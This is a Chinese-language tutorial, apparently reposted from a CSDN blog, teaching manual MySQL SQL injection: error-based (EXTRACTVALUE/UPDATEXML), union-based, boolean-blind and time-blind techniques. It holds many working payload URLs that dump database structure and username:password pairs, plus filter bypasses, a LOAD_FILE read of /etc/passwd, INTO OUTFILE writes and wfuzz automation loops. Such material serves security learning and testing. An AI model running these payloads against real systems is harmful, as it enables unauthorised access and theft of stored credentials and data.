在SQL注入的世界中,灵活而直观的手工注入展现出独特的魅力。相比自动化工具,手工注入不仅能帮助我们深入理解漏洞原理,还能在特定场景下突破工具的局限。本文将从基础SQL函数入手,逐步探讨报错注入、联合注入、布尔盲注和时间盲注等多种手工注入技术。希望通过这篇文章,能让你感受到SQL注入的精妙之处,并在实战中游刃有余。
本文以MySQL为例,介绍手工注入原理与实现。
一、SQL注入必备函数速览
在开始手工注入之前,掌握一些常用的SQL函数是必不可少的。这些函数将成为我们构造Payload时的得力助手。以下是一些关键函数及其用途:
LIMIT <偏移量>,<行数>:限制查询返回的行数,例如LIMIT 1,2表示从第2行开始返回2行数据。COUNT(*):统计表中的总行数。RAND():生成0到1之间的随机数。FLOOR(RAND()*<数字>):从随机小数中提取整数部分。SELECT (SELECT DATABASE()):嵌套查询示例,用于获取当前数据库名。GROUP BY <列名>:按指定列汇总数据。CONCAT(<字符串1>, <字符串2>, ...):拼接字符串,常用于合并表名或列名。LENGTH(<字符串>):计算字符串长度。SUBSTR(<字符串>, <偏移量>, <字符长度>):提取字符串子串。ASCII(<字符>):返回字符的ASCII码值。SLEEP(<秒数>):暂停执行指定秒数,常用于时间盲注。IF(<条件>, <真时操作>, <假时操作>):条件判断语句。LIKE "<字符串>%":模糊匹配字符串。INTO OUTFILE "<文件路径>":将查询结果导出到文件。LOAD_FILE("<文件路径>"):读取并返回文件内容。
这些函数将在后续的注入示例中频繁出现,熟练掌握它们将极大提升你的注入效率。
二、基础知识:MySQL 内置数据库
MySQL 预装了一些特殊的系统数据库,这些内置数据库不包含业务数据,而用于存储数据库管理和运行时信息。常见的系统数据库如下:
1. information_schema(元数据存储库)
作用:提供数据库的元数据(即关于数据库本身的信息),但不存储实际数据。
主要表结构:
schemata:存储所有数据库(即schema)的名称。tables:存储数据库中的所有表信息。columns:存储所有表的列信息。key_column_usage:存储外键约束信息。statistics:存储索引信息。
示例查询:获取当前数据库的所有表名:
SELECT table_name FROM information_schema.tables WHERE table_schema=database();
2. mysql(用户与权限管理)
作用:存储用户账户、权限、日志等信息,主要用于身份验证和权限控制。
主要表结构:
user:存储数据库用户及其权限。db:存储数据库级别的权限控制。tables_priv:存储表级权限。columns_priv:存储列级权限。procs_priv:存储存储过程和函数的权限。
示例查询:列出所有数据库用户:
SELECT user, host FROM mysql.user;
3. performance_schema(性能监控)
作用:记录数据库的性能数据,如查询、I/O、等待事件等。
主要表结构:
events_statements_summary_by_digest:存储SQL语句的执行统计信息。threads:存储当前连接的线程信息。table_io_waits_summary_by_table:存储表级别的I/O等待时间。events_waits_summary_global_by_event_name:存储数据库的等待事件统计信息。
示例查询:获取最常执行的SQL语句:
SELECT digest_text, count_star FROM performance_schema.events_statements_summary_by_digest ORDER BY count_star DESC LIMIT 5;
4. sys(简化性能监控)
作用:基于 performance_schema,提供更易读的系统视图,用于数据库状态监控。
主要表结构:
sys.user_summary_by_statement_type:按SQL语句类型统计用户的执行情况。sys.processlist:类似SHOW PROCESSLIST,显示当前连接信息。sys.wait_classes_global_by_avg_latency:存储全局等待事件的平均延迟信息。
示例查询:获取当前数据库的慢查询信息:
SELECT * FROM sys.statements_with_runtimes_in_95th_percentile;
三、手工注入的三大核心技术详解
手工注入主要依赖三种技术:报错注入(Error-based)、联合注入(Union-based)和 盲注(Blind)。下面将逐一展开,结合具体示例说明其应用。
1. 报错注入:利用报错信息挖掘数据
报错注入通过触发数据库报错,观察返回信息来推断后端结构或数据。
步骤1:确认注入点是否存在
报错注入的前提是目标存在SQL注入漏洞,且后端会将数据库错误信息回显到页面。
-
测试方法:- 在参数后添加单引号、双引号或其他SQL语法破坏字符,观察页面响应。
- 示例:
http://meh.com/index.php?id=1' - 若返回类似
You have an error in your SQL syntax...的错误,则存在注入点且报错可回显。
-
注意事项:- 若单引号被过滤,可尝试
"、\或不加引号直接拼接SQL函数。 - 使用注释符(如
--+、#)闭合语句,确保报错触发。
- 若单引号被过滤,可尝试
-
示例:http://meh.com/index.php?id=1' --+若页面恢复正常但未报错,则需进一步测试报错回显。
步骤2:触发报错并验证回显
报错注入依赖数据库报错信息,因此需确认报错内容是否包含有用数据。
-
方法:- 使用会导致语法错误的Payload,触发报错。
- 示例:
http://meh.com/index.php?id=1' AND 1=2 --+ - 若页面无变化,尝试更复杂的语句:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'a') --+EXTRACTVALUE在MySQL中用于解析XML,若参数无效会报错。
-
验证报错回显:- 若返回类似
XPATH syntax error: 'a'的错误,说明报错可控且会回显。
- 若返回类似
-
后端逻辑假设:- 原始查询可能是:
SELECT * FROM users WHERE id = '1' - 输入
1'后变成:SELECT * FROM users WHERE id = '1'' - 语法错误触发报错。
- 原始查询可能是:
步骤3:利用报错函数提取数据
MySQL中有多个函数在报错时会将参数内容回显,常用函数包括EXTRACTVALUE、UPDATEXML和FLOOR等。
方法1:使用EXTRACTVALUE
原理:EXTRACTVALUE(xml, xpath)解析XML并返回指定路径的值,若路径无效则报错并回显参数。
示例:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT DATABASE()), 0x7e)) --+0x7e是~的十六进制表示,用于分隔。- 若数据库名为
test_db,报错可能为:XPATH syntax error: '~test_db~'
方法2:使用UPDATEXML
原理:UPDATEXML(xml, xpath, new_value)更新XML,若路径无效则报错并回显。
示例:http://meh.com/index.php?id=1' AND UPDATEXML(1, CONCAT(0x7e, (SELECT USER()), 0x7e), 1) --+- 返回:
XPATH syntax error: '~root@localhost~'
- 返回:
方法3:使用FLOOR结合RAND(仅适用于特定版本)
-
原理:FLOOR(RAND(0)*2)在分组查询中可能因重复计算导致报错,回显子查询结果。
-
示例:http://meh.com/index.php?id=1' AND 1=(SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT DATABASE()), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) y) --+- 报错:
Duplicate entry 'test_db~1' for key 'group_key'
- 报错:
-
注意:FLOOR方法在MySQL 5.5+中可能失效,优先使用EXTRACTVALUE或UPDATEXML。
步骤4:提取基本数据库信息
利用报错函数提取常用信息。
-
获取数据库名:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+ -
获取当前用户:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, USER(), 0x7e)) --+ -
获取版本:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, @@version, 0x7e)) --+
步骤5:枚举数据库结构
提取表名、列名等信息,借助information_schema。
-
获取所有表名:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 0x7e)) --+- 可能返回:
XPATH syntax error: '~users,orders~'
- 可能返回:
-
获取指定表的列名:- 假设表名为
users:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+ - 返回:
XPATH syntax error: '~id,username,password~'
- 假设表名为
-
限制长度问题:- MySQL报错信息通常截断为32个字符,可用
LIMIT逐条提取:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 0x7e)) --+
- MySQL报错信息通常截断为32个字符,可用
步骤6:提取表中数据
根据表名和列名提取具体内容。
-
获取users表的数据:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(username) FROM users), 0x7e)) --+- 返回:
XPATH syntax error: '~admin,user1~'
- 返回:
-
拼接多列:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+- 返回:
XPATH syntax error: '~admin:123456~'
- 返回:
步骤7:优化与绕过
面对过滤或限制时的应对策略。
-
绕过空格过滤:- 用
/**/替代空格:http://meh.com/index.php?id=1'/**/AND/**/EXTRACTVALUE(1,/**/CONCAT(0x7e,/**/DATABASE(),/**/0x7e))--+
- 用
-
绕过关键字过滤:- 用大小写混淆或函数嵌套:
http://meh.com/index.php?id=1' AnD ExTrAcTvAlUe(1, CoNcAt(0x7e, DaTaBaSe(), 0x7e)) --+
- 用大小写混淆或函数嵌套:
-
处理长数据:- 使用
SUBSTR分段提取:http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, SUBSTR((SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()), 1, 30), 0x7e)) --+
- 使用
注意事项
报错回显依赖:若后端不显示错误信息,报错注入无效,需转向盲注。函数兼容性:EXTRACTVALUE和UPDATEXML适用于MySQL 5.1+,其他数据库可能需调整。权限限制:访问information_schema需用户具备相应权限。长度限制:报错信息可能截断,需分段提取或优化Payload。
实战演练
假设目标URL为http://meh.com/index.php?id=1,后端查询为:
SELECT * FROM users WHERE id = '1'
示例完整流程如下:
-
确认注入点:
http://meh.com/index.php?id=1'返回
SQL syntax error,存在注入且报错回显。 -
触发报错:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, 'test') --+返回
XPATH syntax error: 'test',报错可控。 -
提取数据库名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, DATABASE(), 0x7e)) --+返回
XPATH syntax error: '~test_db~'。 -
枚举表名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='test_db'), 0x7e)) --+返回
XPATH syntax error: '~users,orders~'。 -
提取列名:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='users'), 0x7e)) --+返回
XPATH syntax error: '~id,username,password~'。 -
提取数据:
http://meh.com/index.php?id=1' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT CONCAT(username, ':', password) FROM users LIMIT 0,1), 0x7e)) --+返回
XPATH syntax error: '~admin:123456~'。
2. 联合注入:拼接查询结果
联合注入通过UNION SELECT将自定义查询结果与原始查询拼接,前提是确保列数匹配且原始查询返回空结果(例如将id设为无效值,如-1)。
步骤1:确认注入点是否存在
联合查询的前提是目标存在SQL注入漏洞,因此首先需要验证注入点。
-
测试方法:- 在参数后添加单引号,例如:
http://meh.com/index.php?id=1' - 若页面报错(如显示SQL语法错误)或行为异常(返回空白或部分内容),则可能存在注入点。
- 在参数后添加单引号,例如:
-
注意事项:- 若单引号被过滤,可尝试双引号(
")、反斜杠(\)或其他符号。 - 使用注释符(如
--+、#)闭合语句,观察响应变化。
- 若单引号被过滤,可尝试双引号(
-
示例:http://meh.com/index.php?id=1' --+若页面恢复正常,说明注入点可控。
步骤2:确定后端查询的列数
联合查询要求攻击者的UNION SELECT语句列数与原始查询一致,因此需先确定列数。
-
方法1:使用
ORDER BY逐步探测- 在URL中添加
ORDER BY <数字>,逐步增加数字,直到报错。 - 示例:
http://meh.com/index.php?id=1 ORDER BY 1 --+ http://meh.com/index.php?id=1 ORDER BY 2 --+ http://meh.com/index.php?id=1 ORDER BY 3 --+ - 若
ORDER BY 2正常,ORDER BY 3报错,则后端查询有2列。
- 在URL中添加
-
方法2:借助工具(如
wfuzz)- 使用自动化工具快速测试:
wfuzz -c -z range,1-10 "http://meh.com/index.php?id=1 ORDER BY FUZZ --+" - 通过响应状态码或大小变化判断列数。
- 使用自动化工具快速测试:
-
结果解读:- 假设探测到列数为5,后续Payload需构造5列。
步骤3:构造基础联合查询并确保返回空结果
联合查询需要原始查询返回空结果,以便只显示攻击者构造的内容。
-
方法:- 将参数设置为无效值(如
-1),使原始查询无匹配记录。 - 示例(假设列数为5):
http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+
- 将参数设置为无效值(如
-
后端逻辑假设:- 原始查询可能是:
SELECT column1, column2, column3, column4, column5 FROM table WHERE id = '-1' - 因为
id=-1不存在,返回空结果,UNION后的内容生效。
- 原始查询可能是:
-
验证:- 若页面显示数字
1,2,3,4,5中的部分或全部,则联合查询生效。
- 若页面显示数字
步骤4:确定页面可显示的列
并非所有列的内容都会显示在页面上,需找出哪些列会回显。
-
方法:- 用明显不同的字符串替换数字,逐列测试。
- 示例:
http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+ - 检查页面,若显示
c,说明第3列可回显。
-
结果:- 假设第3列可显示,后续注入将数据放在第3列。
步骤5:提取基本数据库信息
利用可显示列提取数据库元信息。
-
获取数据库版本:http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@version,4,5 --+- 若第3列显示
5.7.32,则为MySQL版本。
- 若第3列显示
-
获取当前用户:http://meh.com/index.php?id=-1 UNION SELECT 1,2,USER(),4,5 --+- 可能返回
root@localhost。
- 可能返回
-
获取当前数据库名:http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+- 可能返回
test_db。
- 可能返回
-
获取数据目录:http://meh.com/index.php?id=-1 UNION SELECT 1,2,@@datadir,4,5 --+
步骤6:枚举数据库结构
进一步提取表名、列名等信息,通常借助information_schema表。
-
获取所有表名:http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema=DATABASE() --+GROUP_CONCAT将结果拼接为逗号分隔的字符串,如users,orders。
-
获取指定表的列名:- 假设表名为
users:http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+ - 可能返回
id,username,password。
- 假设表名为
步骤7:提取表中数据
根据表名和列名,提取具体数据。
-
获取
users表的内容:http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(username),4,5 FROM users --+- 可能返回
admin,user1,user2。
- 可能返回
-
提取多列内容:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(username,':',password),4,5 FROM users --+- 可能返回
admin:123456,user1:password。
- 可能返回
步骤8:高级应用(可选)
联合查询还可用于文件操作或权限提升。
-
导出数据到文件:http://meh.com/index.php?id=-1 UNION SELECT 1,2,username,4,5 FROM users INTO OUTFILE '/tmp/users.txt' --+- 前提:具有文件写入权限,且路径可控。
-
读取文件内容:http://meh.com/index.php?id=-1 UNION SELECT 1,2,LOAD_FILE('/etc/passwd'),4,5 --+
注意事项
列数匹配:UNION SELECT的列数必须与原始查询一致。数据类型一致:每列的数据类型需与原始查询对应(如字符串列不能注入数字)。注释符选择:根据过滤情况使用--+、#或/* */。绕过过滤:若空格被过滤,可用/**/替代;若单引号被转义,可用CHAR(39)表示。权限限制:文件操作需数据库用户具备FILE权限。
实战演练
假设目标URL为http://meh.com/index.php?id=1,后端查询为:
SELECT id, name, email, age, city FROM users WHERE id = '1'
示例完整流程如下:
-
确认注入点:
http://meh.com/index.php?id=1' --+页面正常,存在注入。
-
确定列数:
http://meh.com/index.php?id=1 ORDER BY 5 --+ # 正常 http://meh.com/index.php?id=1 ORDER BY 6 --+ # 报错列数为5。
-
构造基础联合查询:
http://meh.com/index.php?id=-1 UNION SELECT 1,2,3,4,5 --+ -
确定显示列:
http://meh.com/index.php?id=-1 UNION SELECT 'a','b','c','d','e' --+页面显示
c,第3列可回显。 -
提取信息:
- 数据库名:
返回http://meh.com/index.php?id=-1 UNION SELECT 1,2,DATABASE(),4,5 --+test_db。 - 表名:
返回http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(table_name),4,5 FROM information_schema.tables WHERE table_schema='test_db' --+users,orders。 - 列名:
返回http://meh.com/index.php?id=-1 UNION SELECT 1,2,GROUP_CONCAT(column_name),4,5 FROM information_schema.columns WHERE table_name='users' --+id,name,email,age,city。 - 数据:
返回http://meh.com/index.php?id=-1 UNION SELECT 1,2,CONCAT(name,':',email),4,5 FROM users --+admin:admin@meh.com,user1:user1@meh.com。
- 数据库名:
3. 盲注:无声中取胜
盲注适用于页面仅返回简单状态(如“成功”或“失败”),而不显示SQL错误或查询结果的场景。攻击者通过构造条件语句,观察页面响应变化(布尔盲注)或响应时间差异(时间盲注),逐字符推断数据库信息。
步骤1:确认注入点是否存在
盲注的第一步是验证参数是否可被SQL语句操控。
-
测试方法:- 输入简单条件语句,观察页面响应。
- 示例:
http://meh.com/index.php?id=1' AND 1=1 --+- 若页面正常显示,说明条件为真。
http://meh.com/index.php?id=1' AND 1=2 --+- 若页面异常(如空白或错误提示),说明条件为假,存在注入点。
-
注意事项:- 若单引号被过滤,尝试
"、\或无引号拼接。 - 使用注释符(如
--+、#)闭合语句。
- 若单引号被过滤,尝试
-
后端逻辑假设:- 原始查询:
SELECT * FROM users WHERE id = '1' - 输入
1' AND 1=1 --+后:SELECT * FROM users WHERE id = '1' AND 1=1 --' - 条件成立,页面正常。
- 原始查询:
步骤2:选择盲注类型
根据页面反馈特性,选择布尔盲注或时间盲注:
- 布尔盲注:页面有明显真假状态区分(如“登录成功” vs “登录失败”)。
- 时间盲注:页面无状态变化,但可通过响应时间推断。
布尔盲注(Boolean-based Blind SQL Injection)
步骤3:验证布尔盲注可行性
-
方法:- 输入恒真和恒假条件,观察页面差异。
- 示例:
http://meh.com/index.php?id=1' AND 1=1 --+ # 页面正常 http://meh.com/index.php?id=1' AND 1=2 --+ # 页面异常
-
确认:- 若响应有明显区分,则布尔盲注可行。
步骤4:逐字符推断数据
布尔盲注通过构造条件,逐字符猜测数据库信息,常用函数包括SUBSTR和ASCII。
获取数据库名
-
方法:- 使用
SUBSTR提取数据库名某位置的字符,与猜测值比较。 - 示例:
http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 1, 1)='t' --+- 若页面正常,则首字母为
t。
http://meh.com/index.php?id=1' AND SUBSTR(DATABASE(), 2, 1)='e' --+- 若正常,则第2个字母为
e。
- 若页面正常,则首字母为
- 使用
-
优化:使用ASCII:- 将字符转为ASCII码,缩小猜测范围。
- 示例:
http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+116是t的ASCII码,若正常则首字母为t。
枚举表名
方法:- 查询
information_schema.tables:http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117 --+117是u,若正常则首表名以u开头(如users)。
- 查询
提取列名和数据
列名:http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1), 1, 1))=105 --+105是i,可能为id。
数据:http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97 --+97是a,可能为admin。
步骤5:自动化优化
手动逐字符猜测效率低,可结合工具(如wfuzz)加速。
-
猜测数据库名:for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ --+"; done- 范围
32-127覆盖标准ASCII字符,正确字符对应正常响应。
- 范围
-
获取表名:for i in $(seq 1 10); do wfuzz -c -z range,32-127 --hw=<词数> "http://meh.com/index.php?id=1' AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),$i,1))=FUZZ --+"; done
时间盲注(Time-based Blind SQL Injection)
步骤3:验证时间盲注可行性
-
方法:- 使用
sleep()函数引入延迟,观察响应时间。 - 示例:
http://meh.com/index.php?id=1' AND SLEEP(5) --+- 若响应延迟5秒,则时间盲注可行。
- 使用
-
注意:- 若
id=1为真值,需用AND,否则用OR:http://meh.com/index.php?id=0' OR SLEEP(5) --+
- 若
步骤4:逐字符推断数据
时间盲注通过条件判断结合延迟,推断数据。
获取数据库名
方法:- 使用
IF和sleep():http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(), 1, 1))=116, SLEEP(5), 0) --+- 若延迟5秒,则首字母为
t。
- 若延迟5秒,则首字母为
- 使用
枚举表名
方法:http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+- 延迟则表名首字母为
u。
- 延迟则表名首字母为
提取数据
方法:http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1), 1, 1))=97, SLEEP(5), 0) --+- 延迟则数据首字母为
a。
- 延迟则数据首字母为
步骤5:自动化优化
时间盲注耗时长,可用wfuzz结合时间筛选。
-
猜测数据库名:for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR(DATABASE(),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txtgrep "0m4"筛选延迟响应(约5秒)。
-
提取列内容:for i in $(seq 1 10); do wfuzz -v -c -z range,32-127 "http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT username FROM users LIMIT 0,1),$i,1))=FUZZ, SLEEP(5), 0) --+"; done > result.txt && grep "0m4" result.txt
注意事项
响应稳定性:- 布尔盲注依赖页面状态一致性,时间盲注需网络延迟稳定。
权限要求:- 访问
information_schema需相应权限。
- 访问
绕过过滤:- 空格用
/**/,关键字用大小写混淆。
- 空格用
效率优化:- 先用二分法猜测ASCII范围(如
>64),缩小范围。
- 先用二分法猜测ASCII范围(如
真假值:- 时间盲注需根据原始条件选择
AND或OR。
- 时间盲注需根据原始条件选择
实战演练
目标URL:http://meh.com/index.php?id=1,后端:
SELECT * FROM users WHERE id = '1'
示例完整流程如下:
布尔盲注演练
- 确认注入:
http://meh.com/index.php?id=1' AND 1=1 --+ # 正常 http://meh.com/index.php?id=1' AND 1=2 --+ # 异常 - 获取数据库名:
结果:http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 1, 1))=116 --+ # 正常,'t' http://meh.com/index.php?id=1' AND ASCII(SUBSTR(DATABASE(), 2, 1))=101 --+ # 正常,'e'test_db。
时间盲注演练
- 验证延迟:
http://meh.com/index.php?id=1' AND SLEEP(5) --+ # 延迟5秒 - 获取表名:
延迟则为http://meh.com/index.php?id=1' AND IF(ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1), 1, 1))=117, SLEEP(5), 0) --+u,结果:users。
四、总结
手工注入的魅力在于其极致的灵活性与对细节的精准掌控。无论是通过报错注入快速定位数据库结构,还是利用联合注入优雅地拼接数据,亦或是盲注在无声之中悄然挖掘关键信息,每一种技术都如同精心雕琢的艺术品,展现了SQL注入的独特魅力与深邃内涵。本文从基础函数入手,逐步深入实战技巧,全方位为你呈现出了手工注入的全貌。愿你在未来的渗透测试中,能够熟练运用这些方法,在挑战与乐趣中领略SQL注入的无限魅力。
原文 https://blog.csdn.net/2301_79518550/article/details/146105873